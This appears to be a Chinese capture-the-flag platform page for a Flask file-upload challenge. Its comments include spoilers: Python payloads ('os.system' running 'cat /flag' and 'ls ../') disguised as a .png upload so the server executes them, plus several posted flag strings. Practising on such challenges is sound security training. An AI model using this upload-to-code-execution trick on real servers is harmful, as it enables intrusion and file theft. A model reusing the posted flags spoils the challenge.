Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12011
提  示:
描  述:
Flask_FileUpload
评论
storn 1年前

类似于文件包含,文件中的内容只要符合python语法,就可以执行。 建一个文本文档,里面写 import os os.system("cat /flag") 然后将文件后缀改为png,上传。 再然后去看源代码,里面有flag

回复 0

xuexixiaohao 1年前

import os os.system('cat /flag')

回复 0

khalil 1年前

flag{031da75ae4719a4e3cf3f6652dbc04ad}

回复 0

107zsm 1年前

import os os.system('ls ../') os.system('cat ../flag') 文件上传后,获取flag

回复 2

baianquanzu 1年前

查看网站源码,提示我们的图片会被python执行返回 其实这一题是利用flask搭建的网站,图片中包含python的查询语句会被执行

回复 0

baianquanzu 1年前

import os os.system('cat /flag')

回复 0

蜡笔小赵 2年前

flag{9d7c25aa041135481307e03e9fb4464a}

回复 0

hackerahao 2年前

flag{437fa06cd1a2e1763453b3ed15a57092}

回复 0

lengxi 2年前

Flag到底是什么啊

回复 0

814192955 2年前

现在的题错了吧,上传一直报错

回复 0
Nicole 1年前

现在没错,成功上传

回复 2

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

18075013015 攻破了该题 6小时前
233031107陈如和 攻破了该题 20小时前
233031111 攻破了该题 20小时前
17857024334 攻破了该题 20小时前
233031103曹雷震 攻破了该题 20小时前
lostzealhe 攻破了该题 21小时前
233031137项宇 攻破了该题 21小时前
19012953963 攻破了该题 22小时前
Sadoshi 攻破了该题 22小时前
rufeii 攻破了该题 1天前
zmzm 攻破了该题 1天前
MD 攻破了该题 1天前
摇曳露营芝麻凛 攻破了该题 2天前
mimigouji 攻破了该题 3天前
HK1ng 攻破了该题 4天前
ct1640 攻破了该题 5天前
sun_space 攻破了该题 6天前
liuliuliu666 攻破了该题 7天前
1031368023 攻破了该题 8天前
1748684229 攻破了该题 8天前
问题反馈